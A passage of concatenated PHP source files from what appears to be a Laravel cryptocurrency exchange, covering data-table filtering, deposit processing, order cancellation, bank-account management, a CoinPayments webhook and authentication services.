$this->appends[$this->paginationInfo['pageName'] . '-srch'] = $searchTerm; if (strtolower($operator) === 'like') { $queryBuilder->likeSearch($searchFields, $searchTerm); } else { $queryBuilder->strictSearch($searchFields, $searchTerm, $operator); } } } private function orderBy(&$queryBuilder) { $orderColumn = !is_array($this->request->get($this->paginationInfo['pageName'] . '-sort')) ? $this->request->get($this->paginationInfo['pageName'] . '-sort') : null; $orderValue = !is_array($this->request->get($this->paginationInfo['pageName'] . '-ord')) ? $this->request->get($this->paginationInfo['pageName'] . '-ord') : null; $orderableColumn = null; $orderableRelation = null; foreach ($this->orderFields as $key => $orderRow) { if (strlen($orderColumn) > 0 && $key == $orderColumn) { unset($orderFields); if (isset($orderRow[2])) { $orderableColumn = $orderRow[0]; $orderableRelation = $orderRow[2]; } else { $orderableColumn = $orderRow[0]; } break; } } $orderableValue = (strtolower($orderValue) === 'a') ? 'asc' : ((strtolower($orderValue) === 'd') ? 'desc' : null); if (!empty($orderableColumn) && !empty($orderableValue)) { $queryBuilder->getQuery()->orders = null; if ($orderableRelation) { $relation = $queryBuilder->getRelation($orderableRelation); $columnAs = "{$orderableColumn}_ord"; $queryBuilder->orderBy( $relation->getModel()::select("{$orderableColumn} as {$columnAs}") ->whereColumn($this->getRelationshipColumn($relation), $relation->getParent()->getTable() . '.' . $this->getRelationshipParentColumn($relation)) ->limit(1), $orderableValue ); } else { $queryBuilder->orderBy($orderableColumn, $orderableValue); } $this->appends[$this->paginationInfo['pageName'] . '-ord'] = $orderValue; $this->appends[$this->paginationInfo['pageName'] . '-sort'] = $orderColumn; } } private function getRelationshipColumn(Relation $relation) { if ($relation instanceof HasOne) { return $relation->getForeignKeyName(); } elseif ($relation instanceof BelongsTo) { return $relation->getOwnerKeyName(); } else { return $relation->getModel()->getKeyName(); } } private function getRelationshipParentColumn($relation) { if ($relation instanceof HasOne) { return $relation->getLocalKeyName(); } elseif ($relation instanceof BelongsTo) { return $relation->getForeignKeyName(); } else { return $relation->getParent()->getKeyName(); } } public function makeView($paginationObject) { $route = url()->current(); $data['items'] = $paginationObject; // prepare filters $data['filters'] = new HtmlString(view('core.renderable_template.filters', [ 'pageName' => $this->paginationInfo['pageName'], 'route' => $route, 'orderFields' => $this->orderFields, 'searchFields' => $this->searchFields, 'displayDateFilter' => $this->displayDateFilter, 'displayFilterButton' => empty($this->filterFields) ? false : true, 'displayDownloadButton' => $this->displayDownloadButton ])->render()); $data['advanceFilters'] = new HtmlString(view('core.renderable_template.advance_filters', [ 'pageName' => $this->paginationInfo['pageName'], 'route' => $route, 'filterFields' => $this->filterFields ])->render()); // prepare pagination $data['pagination'] = new HtmlString(view('core.renderable_template.pagination', [ 'itemPerPage' => $this->paginationInfo['itemPerPage'], 'eachSide' => $this->paginationInfo['eachSide'], 'paginationObject' => $paginationObject, 'pageName' => $this->paginationInfo['pageName'], 'route' => $route ])->render()); return $data; } /** * @param array $searchFields * @return DataTableService */ public function setSearchFields(array $searchFields) { $this->searchFields = $searchFields; return $this; } /** * @param array $orderFields * @return DataTableService */ public function setOrderFields(array $orderFields) { $this->orderFields = $orderFields; return $this; } /** * @param array $filterFields * @return DataTableService */ public function setFilterFields(array $filterFields) { $this->filterFields = $filterFields; return $this; } /** * @param $paginationInfo * @return DataTableService */ public function setPaginationInfo($paginationInfo) { foreach ($paginationInfo as $item => $value) { $this->paginationInfo[$item] = $value; } return $this; } /** * @return DataTableService */ public function withoutDateFilter() { $this->displayDateFilter = false; return $this; } /** * @param $headings * @return DataTableService */ public function downloadable(array $headings = []) { foreach ($headings as $heading) { $this->headings['columns'][] = $heading[0]; $this->headings['headers'][] = $heading[1]; if (isset($heading[2])) { $this->headings['relations'][$heading[2]][] = $heading[0]; } else { $this->headings['original'][] = $heading[0]; } } $this->displayDownloadButton = true; return $this; } } <file_sep><?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class CreateExchangeDataTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('exchange_data', function (Blueprint $table) { $table->date('date'); $table->string('trade_pair', 20)->index(); $table->text('5min'); $table->text('15min'); $table->text('30min'); $table->text('2hr'); $table->text('4hr'); $table->text('1day'); $table->primary(['date', 'trade_pair']); $table->foreign('trade_pair') ->references('name') ->on('coin_pairs') ->onDelete('restrict') ->onUpdate('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('exchange_data'); } } <file_sep><?php namespace App\Http\Requests\Coin; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class CoinWithdrawalRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'withdrawal_status' => [ 'required', Rule::in(array_keys(active_status())) ], 'minimum_withdrawal_amount' => [ 'required', 'numeric', 'decimal_scale:11,8', 'gt:0', Rule::requiredIf(function () { return $this->get('withdrawal_status') == ACTIVE; }), ], 'daily_withdrawal_limit' => [ 'numeric', 'decimal_scale:11,8', 'gte:0', ], 'withdrawal_fee' => [ 'required', 'numeric', 'min:0', 'decimal_scale:6,8', Rule::requiredIf(function () { return $this->get('withdrawal_status') == ACTIVE; }), ], 'withdrawal_fee_type' => [ 'required', Rule::in(array_keys(fee_types())) ] ]; } } <file_sep><?php namespace App\Http\Controllers\Exchange; use App\Http\Controllers\Controller; use App\Services\CoinPair\GetDefaultCoinPair; use Illuminate\Support\Facades\Cookie; use Illuminate\Support\Facades\View; use Illuminate\Validation\UnauthorizedException; class ExchangeDashboardController extends Controller { public function index($pair = null) { $data['title'] = __('Exchange'); $data['coinPair'] = app(GetDefaultCoinPair::class)->getCoinPair($pair); if( $data['coinPair'] ) { return view('exchange.index', $data); } throw new UnauthorizedException('exchange_exception', 404); } } <file_sep><?php namespace App\Http\Controllers\Post; use App\Http\Controllers\Controller; use App\Models\Post\Post; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; class ChangePostStatusController extends Controller { public function change(Post $post): RedirectResponse { if ($post->toggleStatus('is_published')) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('Successfully post status changed.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to change status. Please try again.')); } } <file_sep><?php namespace App\Models\Ticket; use App\Models\Core\User; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Support\Str; class Ticket extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = ['user_id', 'assigned_to', 'ticket_id', 'title', 'content', 'attachment', 'status']; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function user(): BelongsTo { return $this->belongsTo(User::class); } public function comments(): HasMany { return $this->hasMany(TicketComment::class); } public function assignedUser(): BelongsTo { return $this->belongsTo(User::class, 'assigned_to'); } public function changeStatus($status, $assignedTo = null): bool { if (!in_array($this->status, [STATUS_OPEN, STATUS_PROCESSING])) { return false; } $params = [ 'status' => $status ]; if ($assignedTo !== null) { $params['assigned_to'] = $assignedTo; } return $this->update($params); } } <file_sep><?php namespace App\Http\Controllers\Core; use App\Http\Controllers\Controller; use App\Http\Requests\Core\PreferenceRequest; use App\Models\Coin\CoinPair; use App\Models\Core\Language; use App\Models\Core\UserPreference; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Cookie; class PreferenceController extends Controller { public function index() { $data['user'] = Auth::user(); $data['preference'] = UserPreference::firstOrCreate( ['user_id' => Auth::id()], [ 'default_language' => config('app.locale'), 'default_coin_pair' => null ] ); $data['title'] = __("My Preference"); return view('core.profile.preference.index', $data); } public function edit() { $data['user'] = Auth::user()->load('preference'); $data['languages'] = Language::active()->pluck('short_code', 'short_code')->toArray(); $data['coinPairs'] = CoinPair::active()->pluck('name', 'name')->toArray(); $data['title'] = __("Change Preference"); return view('core.profile.preference.edit', $data); } public function update(PreferenceRequest $request) { $params = $request->only('default_language', 'default_coin_pair'); if (auth()->user()->preference->update($params)) { Cookie::queue(Cookie::forever('coinPair', $request->default_coin_pair)); return redirect()->route('preference.edit')->with(RESPONSE_TYPE_SUCCESS, __("Preference has been updated successfully.")); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, __("Failed to update preference.")); } } <file_sep><?php /** @var Factory $factory */ use App\Models\Core\User; use App\Models\Ticket\TicketComment; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(TicketComment::class, function (Faker $faker) { return [ 'user_id' => User::inRandomOrder()->first()->id, 'content' => $faker->sentence, 'created_at' => $faker->dateTimeThisMonth ]; }); <file_sep><?php namespace App\Services\Core; use App\Http\Requests\Core\PasswordResetRequest; use App\Mail\Core\Registered; use App\Models\Core\Notification; use App\Models\Core\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Mail; class VerificationService { public function verifyUserEmail(Request $request): array { if (!$request->hasValidSignature()) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __('Expired verification link.'), ]; } $user = User::where('id', $request->user_id) ->where('is_email_verified', UNVERIFIED) ->first(); $update = ['is_email_verified' => VERIFIED]; if ($user && $user->update($update)) { $notification = ['user_id' => $request->user_id, 'message' => __("Your account has been verified successfully.")]; Notification::create($notification); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __('Your account has been verified successfully.'), ]; } return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __('Invalid verification link or already verified.'), ]; } public function sendVerificationLink(PasswordResetRequest $request) { if (Auth::check()) { if (!Auth::user()->is_email_verified) { $user = Auth::user(); } else { $user = false; } } else { $user = User::where(['email' => $request->email, 'is_email_verified' => INACTIVE])->first(); } if (!$user) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __('The given email address is already verified.') ]; } // send email address. $this->_sendEmailVerificationLink($user); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __('Email verification link is sent successfully.') ]; } public function _sendEmailVerificationLink($user) { return Mail::to($user->email)->send(new Registered($user->profile)); } } <file_sep><?php namespace App\Services\Deposit; use App\Jobs\Deposit\DepositProcessJob; use App\Models\Core\Notification; use App\Models\Deposit\WalletDeposit; use App\Models\Wallet\Wallet; use App\Services\Logger\Logger; use App\Services\Wallet\SystemWalletService; use Exception; use Illuminate\Support\Facades\DB; use Illuminate\Support\Str; class DepositService { private $wallet; public function deposit(array $depositData) { DB::beginTransaction(); try { $this->setWallet($depositData); if (empty($this->wallet)) { throw new Exception("No wallet found with this address: {$depositData['address']}"); } $systemFee = calculate_deposit_system_fee( $depositData['amount'], $this->wallet->coin->deposit_fee, $this->wallet->coin->deposit_fee_type ); $actualAmount = bcsub($depositData['amount'], $systemFee); $deposit = $this->getDeposit($depositData); if (empty($deposit)) { $params = [ 'user_id' => $this->wallet->user_id, 'wallet_id' => $this->wallet->id, 'symbol' => $this->wallet->symbol, 'address' => $depositData['address'], 'amount' => $depositData['amount'], 'system_fee' => $systemFee, 'txn_id' => $depositData['txn_id'], 'api' => $depositData['api'], 'status' => STATUS_PENDING, ]; $deposit = WalletDeposit::create($params); } if ($deposit->status === STATUS_PENDING && $depositData['status'] === STATUS_COMPLETED) { //Update wallet primary balance if (!$this->updateWalletBalance($actualAmount, $systemFee)) { throw new Exception("Cannot update wallet balance"); } //Update deposit status if (!$deposit->update(['status' => $depositData['status'], 'system_fee' => $systemFee])) { throw new Exception("Cannot update deposit status"); } // User Notification Notification::create([ 'user_id' => $deposit->user_id, 'message' => __("You\'ve just received :amount :coin", [ 'amount' => $actualAmount, 'coin' => $deposit->symbol, ]), ]); } } catch (Exception $exception) { DB::rollBack(); Logger::error($exception, "[FAILED][DepositService][deposit]"); } DB::commit(); } private function setWallet(array $depositData) { if (isset($depositData['wallet_id'])) { $conditions = [ 'id' => $depositData['wallet_id'], 'symbol' => $depositData['symbol'], ]; } else { $conditions = [ 'address' => $depositData['address'], 'symbol' => $depositData['symbol'], ]; } $this->wallet = Wallet::where($conditions)->first(); } private function getDeposit(array $depositData) { if (isset($depositData['id'])) { $deposit = WalletDeposit::find($depositData['id']); } else { $deposit = WalletDeposit::where('symbol', $depositData['symbol']) ->where('address', $depositData['address']) ->where('txn_id', $depositData['txn_id']) ->first(); } if (!empty($deposit) && bccomp($deposit->amount, $depositData['amount']) > 0) { $deposit->update(['amount' => $depositData['amount']]); $deposit = $deposit->refresh(); } return $deposit; } private function updateWalletBalance(float $amount, float $systemFee): bool { //Increment user wallet if (!$this->wallet->increment('primary_balance', $amount)) { return false; } if (bccomp($systemFee, '0') > 0) { //Increment system wallet if (!app(SystemWalletService::class)->addFee($this->wallet->user, $this->wallet->symbol, $systemFee)) { return false; } } return true; } public function show(WalletDeposit $deposit) { $data['deposit'] = $deposit; $data['title'] = __("Deposit Details"); return view('deposit.admin.show', $data); } public function approve(WalletDeposit $deposit) { if ($deposit->status != STATUS_REVIEWING) { return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __("Cannot approve the deposit.")); } $deposit->txn_id = Str::random(36); $deposit->status = STATUS_PENDING; DB::beginTransaction(); try { if ($deposit->update()) { $depositData = [ 'id' => $deposit->id, 'wallet_id' => $deposit->wallet_id, 'symbol' => $deposit->symbol, 'amount' => $deposit->amount, 'type' => TRANSACTION_DEPOSIT, 'status' => STATUS_COMPLETED, 'api' => API_BANK, ]; DepositProcessJob::dispatch($depositData); } if ($deposit->bankAccount->is_verified == UNVERIFIED) { $deposit->bankAccount()->update(['is_verified' => VERIFIED]); } } catch (Exception $exception) { DB::rollBack(); return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __("Failed to approve the deposit.")); } DB::commit(); return redirect() ->route(replace_current_route_action('show'), $deposit->id) ->with(RESPONSE_TYPE_SUCCESS, __("The deposit has been approved successfully.")); } public function cancel(WalletDeposit $deposit) { if ($deposit->status != STATUS_REVIEWING) { return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __("Cannot cancel the deposit.")); } if ($deposit->update(['status' => STATUS_CANCELED])) { return redirect() ->route(replace_current_route_action('show'), $deposit->id) ->with(RESPONSE_TYPE_SUCCESS, __("The deposit has been canceled successfully.")); } return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __("Failed to cancel the deposit.")); } } <file_sep><?php namespace App\Http\Controllers\Orders; use App\Http\Controllers\Controller; use App\Models\Core\User; use App\Services\Core\DataTableService; class AdminUserOpenOrderController extends Controller { public function index(User $user) { $searchFields = [ ['trade_coin', __('Coin')], ['base_coin', __('Base Coin')], ['trade_pair', __('Coin Pair')], ['amount', __('Amount')], ['price', __('Price')], ]; $orderFields = [ ['trade_coin', __('Coin')], ['base_coin', __('Base Coin')], ['trade_pair', __('Coin Pair')], ['type', __('Type')], ['amount', __('Amount')], ['price', __('Price')], ]; $filterFields = [ ['type', __('Type'), order_type()], ]; $queryBuilder = $user->orders() ->with('coin') ->statusOpen(); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); $data['title'] = __('Open Orders: :user', ['user' => $user->profile->full_name]); return view('order.admin.open_orders', $data); } } <file_sep><?php namespace App\Http\Requests\BankManagement; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; class BankAccountRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { $request = [ 'bank_name' => 'required|max:255', 'iban' => 'required|max:255', 'swift' => 'required|max:255', 'account_holder' => 'required|max:255', 'bank_address' => 'required|max:255', 'account_holder_address' => 'required|max:255', 'country_id' => 'required|exists:countries,id,is_active,' . ACTIVE, 'is_active' => 'required|in:' . array_to_string(active_status()), ]; if( $this->has('reference_number') ) { $request['reference_number'] = 'required|max:255'; } return $request; } } <file_sep><?php use Illuminate\Database\Seeder; class TestSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $this->call(UsersTableSeeder::class); $this->call(CoinsTableSeeder::class); $this->call(NotificationsTableSeeder::class); $this->call(NoticesTableSeeder::class); $this->call(TicketsTableSeeder::class); $this->call(OrdersTableSeeder::class); $this->call(BankAccountsTableSeeder::class); $this->call(DepositsTableSeeder::class); $this->call(WithdrawalsTableSeeder::class); $this->call(PostsTableSeeder::class); } } <file_sep><?php namespace App\Jobs\Order; use App\Broadcasts\Exchange\CancelOrderBroadcast; use App\Models\Order\Order; use App\Models\Wallet\Wallet; use App\Services\Logger\Logger; use Exception; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\DB; class CancelOrderJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public $order; public $deleteWhenMissingModels = true; public $beforeChangeStatus = null; public function __construct(Order $order) { $this->queue = 'order-cancel'; $this->order = $order->withoutRelations(); $this->beforeChangeStatus = $this->order->status; } public function handle() { DB::beginTransaction(); try { $canceledAmount = bcsub($this->order->amount, $this->order->exchanged); if ($this->order->type === ORDER_TYPE_BUY) { $coin = $this->order->base_coin; $returnBalance = bcmul($canceledAmount, $this->order->price); } else { $coin = $this->order->trade_coin; $returnBalance = $canceledAmount; } $orderAttributes = [ 'canceled' => $canceledAmount, 'status' => STATUS_CANCELED ]; if (!$this->order->update($orderAttributes)) { throw new Exception("Failed to change state to cancel."); } $wallet = Wallet::where('user_id', $this->order->user_id) ->where('symbol', $coin) ->withoutSystemWallet() ->first(); if (!$wallet->increment('primary_balance', $returnBalance)) { throw new Exception("Failed to update wallet for cancel order."); } } catch (Exception $e) { DB::rollBack(); Logger::error($e, "[FAILED][CancelOrderJob][handle]"); return; } DB::commit(); CancelOrderBroadcast::broadcast($this->order, $this->beforeChangeStatus); } } <file_sep><?php return [ 'registered_place' => [ 'top-nav', 'profile-nav', 'side-nav', 'footer-nav-one', 'footer-nav-two', 'footer-nav-three', ], 'navigation_template' =>[ 'default_nav' => [ 'navigation_wrapper_start'=> '<ul id="lf-main-nav" class="lf-main-nav d-flex justify-content-end">', 'navigation_wrapper_end'=> '</ul>', 'navigation_item_wrapper_start'=> '<li>', 'navigation_item_wrapper_end'=> '</li>', 'navigation_sub_menu_wrapper_start'=> '<ul>', 'navigation_sub_menu_wrapper_end'=> '</ul>', 'navigation_item_link_active_class'=> 'active', ], 'profile_dropdown' => [ 'navigation_wrapper_start'=> '', 'navigation_wrapper_end'=> '', 'navigation_item_wrapper_start'=> '', 'navigation_item_wrapper_end'=> '', 'navigation_item_icon_wrapper_start'=> '<i>', 'navigation_item_icon_wrapper_end'=> '</i>', 'navigation_item_link_class'=> 'dropdown-item', 'navigation_item_icon_position'=> 'text-left', 'navigation_item_link_active_class'=> 'active', 'navigation_item_active_class_on_anchor_tag'=> false, ], 'side_nav' => [ 'navigation_wrapper_start'=> '<ul>', 'navigation_wrapper_end'=> '</ul>', 'navigation_item_wrapper_start'=> '<li>', 'navigation_item_wrapper_end'=> '</li>', 'navigation_item_link_active_class'=> 'active', ], 'footer_nav' => [ 'navigation_wrapper_start'=> '<ul class="footer-widget-menu">', 'navigation_wrapper_end'=> '</ul>', 'navigation_item_wrapper_start'=> '<li>', 'navigation_item_wrapper_end'=> '</li>', 'navigation_sub_menu_wrapper_start'=> '', 'navigation_sub_menu_wrapper_end'=> '', 'navigation_item_link_active_class'=> 'active', ], ], ]; <file_sep><?php namespace App\Exports; use Illuminate\Support\Arr; use Maatwebsite\Excel\Concerns\Exportable; use Maatwebsite\Excel\Concerns\FromQuery; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\WithMapping; class DataTableExport implements FromQuery, WithHeadings, WithMapping { use Exportable; public $queryBuilder; public $heading; public function __construct($queryBuilder, $heading = []) { $this->queryBuilder = $queryBuilder; $this->heading = $heading; } public function query() { return $this->queryBuilder; } public function headings(): array { return $this->heading['headers']; } /** * @inheritDoc */ public function map($model): array { $columns = Arr::only($model->getOriginal(), $this->heading['original']); if (isset($this->heading['relations'])) { foreach ($model->getRelations() as $relationName => $relationModel) { $relationColumns = Arr::only($relationModel->getOriginal(), $this->heading['relations'][$relationName]); $columns = array_merge($columns, $relationColumns); } } return array_merge(array_flip($this->heading['columns']), $columns); } } <file_sep><?php /** @var Factory $factory */ use App\Models\Core\Notice; use Faker\Generator as Faker; use Illuminate\Database\Eloquent\Factory; $factory->define(Notice::class, function (Faker $faker) { return [ 'title' => $faker->sentence, 'description' => $faker->paragraph, 'type' => $faker->randomElement(array_keys(notices_types())), 'visible_type' => $faker->randomElement([NOTICE_VISIBLE_TYPE_PUBLIC, NOTICE_VISIBLE_TYPE_PRIVATE]), 'start_at' => $faker->dateTimeThisMonth('now'), 'end_at' => $faker->dateTimeBetween('+1 days', '+1 months'), 'is_active' => $faker->boolean, 'created_by' => 1 ]; }); <file_sep><?php namespace App\Http\Controllers\BankAccount; use App\Http\Controllers\Controller; use App\Http\Requests\BankManagement\BankAccountRequest; use App\Models\BankAccount\BankAccount; use App\Services\BankManagements\BankAccountService; use App\Services\Core\CountryService; use App\Services\Core\DataTableService; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class UserBankManagementController extends Controller { protected $service; public function __construct(BankAccountService $service) { $this->service = $service; } public function index(): View { $searchFields = [ ['bank_name', __('Bank Name')], ['iban', __('IBAN')], ['swift', __('SWIFT / BIC')], ['account_holder', __('Account Holder')], ['bank_address', __('Bank Address')], ['account_holder_address', __('Account Holder Address')], ]; $orderFields = [ ['bank_name', __('Bank Name')], ['iban', __('IBAN')], ['swift', __('SWIFT / BIC')], ['account_holder', __('Account Holder')], ['is_verified', __('Verification')], ['is_active', __('Status')], ]; $select = ['bank_accounts.*']; $data['title'] = __('Bank Accounts'); $queryBuilder = BankAccount::select($select) ->where(['user_id' => Auth::id()]) ->orderBy('id', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('bank_managements.user.index', $data); } public function create(): View { $data['countries'] = app(CountryService::class)->getCountries(); $data['title'] = __('Create Bank Account'); return view('bank_managements.user.create', $data); } public function store(BankAccountRequest $request): RedirectResponse { $attributes = $this->service->_filterAttributes($request); $created = BankAccount::create($attributes); if ($created) { return redirect()->route('bank-accounts.index')->with(RESPONSE_TYPE_SUCCESS, __('The bank account has been added successfully.')); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to add the bank account. Please try again.'))->withInput(); } public function edit(BankAccount $bankAccount): View { abort_if($bankAccount->user_id != Auth::id() || $bankAccount->is_verified == ACTIVE, 404); $data['countries'] = app(CountryService::class)->getCountries(); $data['title'] = __('Edit Bank Account'); $data['bankAccount'] = $bankAccount; return view('bank_managements.user.edit', $data); } public function update(BankAccountRequest $request, BankAccount $bankAccount): RedirectResponse { if ($bankAccount->user_id != Auth::id() || $bankAccount->is_verified == ACTIVE) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('The Invalid bank account id. Please try again'))->withInput(); } $attributes = $this->service->_filterAttributes($request); if ($bankAccount->update($attributes)) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The bank account has been updated successfully.'))->withInput(); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to update the bank account. Please try again.'))->withInput(); } public function destroy(BankAccount $bankAccount): RedirectResponse { abort_if($bankAccount->user_id != Auth::id(), 404 || $bankAccount->is_verified == ACTIVE); if ($bankAccount->delete()) { return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __("The bank account has been deleted successfully.")); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __("Failed to delete the bank account.")); } } <file_sep><?php namespace App\Http\Controllers\Api\Webhook; use App\Http\Controllers\Controller; use App\Jobs\Deposit\DepositProcessJob; use App\Jobs\Withdrawal\WithdrawalConfirmationJob; use App\Models\Withdrawal\WalletWithdrawal; use App\Override\Logger; use Exception; use Illuminate\Http\Request; use Illuminate\Support\Arr; class CoinpaymentsIpnController extends Controller { public function __invoke(Request $request) { try { if (!$request->has('currency')) { throw new Exception("Invalid request."); } //Get Coinpayments API $api = app(API_COINPAYMENT, [$request->get('currency')]); //validate IPN request and if pass process the request in queue if ($validateIpnData = $api->validateIpn($request)) { if ($validateIpnData['type'] === TRANSACTION_DEPOSIT) { DepositProcessJob::dispatch($validateIpnData); } if ($validateIpnData['type'] === TRANSACTION_WITHDRAWAL) { $withdrawal = WalletWithdrawal::where('txn_id', $validateIpnData['id']) ->where('status', STATUS_PENDING) ->first(); if (!empty($withdrawal)) { WithdrawalConfirmationJob::dispatch($withdrawal, Arr::only($validateIpnData, ['status', 'txn_id'])); } } } } catch (Exception $exception) { Logger::error($exception, "[FAILED][Coinpayments][CoinpaymentsIpnController]"); } return []; } } <file_sep><?php namespace App\Services\Core; use App\Http\Requests\Core\LoginRequest; use App\Http\Requests\Core\NewPasswordRequest; use App\Http\Requests\Core\PasswordResetRequest; use App\Mail\Core\ResetPassword; use App\Models\Core\Notification; use App\Models\Core\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Hash; use Illuminate\Support\Facades\Mail; class AuthService { public function login(LoginRequest $request): array { $field = filter_var($request->username, FILTER_VALIDATE_EMAIL) ? 'email' : 'username'; if (Auth::attempt([$field => $request->username, 'password' => $request->password], $request->has('remember_me'))) { $user = Auth::user(); // check if user is deleted or not. if ($user->status == STATUS_DELETED) { Auth::logout(); return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_MESSAGE_KEY => __('You account is deleted.'), ]; } elseif ($user->status == STATUS_INACTIVE) { return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_WARNING, RESPONSE_MESSAGE_KEY => __('You account is currently inactive.'), ]; } elseif (!$user->is_accessible_under_maintenance && settings('maintenance_mode')) { Auth::logout(); return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_WARNING, RESPONSE_MESSAGE_KEY => __('Application is under maintenance mode. Please try later.'), ]; } return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_SUCCESS, RESPONSE_MESSAGE_KEY => __('Login is successful.'), ]; } return [ RESPONSE_STATUS_KEY => RESPONSE_TYPE_ERROR, RESPONSE_MESSAGE_KEY => __('Incorrect :field or password', ['field' => $field]) ]; } public function sendPasswordResetMail(PasswordResetRequest $request): array { $conditions = [ 'email' => $request->email, ['status', '!=', STATUS_DELETED] ]; $user = User::where($conditions)->first(); if (!$user) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("Failed! Your account is deleted by admin."), ]; } Mail::to($user->email)->send(new ResetPassword($user)); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __("Password reset link is sent to your email address."), ]; } public function resetPassword(Request $request, $id) { abort_unless($request->hasValidSignature(), 401, 'Invalid Request.'); $passwordResetLink = url()->signedRoute('reset-password.update', ['user' => $id]); return [ 'id' => $id, 'passwordResetLink' => $passwordResetLink ]; } public function updatePassword(NewPasswordRequest $request, User $user) { if (!$request->hasValidSignature()) { return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("Invalid request"), ]; } $update = ['password' => <PASSWORD>($request->new_password)]; if ($user->update($update)) { $notification = ['user_id' => $user->id, 'message' => __("You just reset your account's password successfully.")]; Notification::create($notification); return [ RESPONSE_STATUS_KEY => true, RESPONSE_MESSAGE_KEY => __("New password is updated. Please login your account."), ]; } return [ RESPONSE_STATUS_KEY => false, RESPONSE_MESSAGE_KEY => __("Failed to set new password. Please try again."), ]; } } <file_sep><?php namespace App\Http\Requests\Deposit; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Support\Facades\Auth; use Illuminate\Validation\Rule; class UserDepositRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return Auth::check(); } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'amount' => [ 'required', 'numeric', 'between:0.01, 99999999999.99', ], 'api' => [ 'required', Rule::in(array_keys(fiat_apis())), ], 'bank_account_id' => [ 'required_if:api,' . API_BANK, Rule::exists('bank_accounts', 'id') ->where("is_active", ACTIVE) ->where('user_id', Auth::id()), ], 'deposit_policy' => [ 'accepted', ], ]; } public function attributes() { return [ 'api' => __('payment method') ]; } } <file_sep><?php namespace App\Http\Controllers\Page; use App\Http\Controllers\Controller; use App\Http\Requests\Page\PageRequest; use App\Models\Page\Page; use App\Services\Core\DataTableService; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\View\View; class PageController extends Controller { protected $attributes; public function __construct() { $this->setAttributes(); } public function setAttributes(): void { $this->attributes = [ 'title', 'content', 'meta_description', 'meta_keywords', 'is_published', ]; } public function index(): View { $searchFields = [ ['title', __('Title')], ['slug', __('Slug')], ]; $orderFields = [ ['title', __('Title')], ['slug', __('Slug')], ['is_published', __('Status')], ]; $data['title'] = __('Pages'); $queryBuilder = Page::orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->create($queryBuilder); return view('pages.page_management.index', $data); } public function create(): View { $data['title'] = __('Page Create'); return view('pages.page_management.create', $data); } public function store(PageRequest $request): RedirectResponse { $attributes = $request->only($this->attributes); $attributes['content'] = $request->get('editor_content'); try { Page::create($attributes); } catch 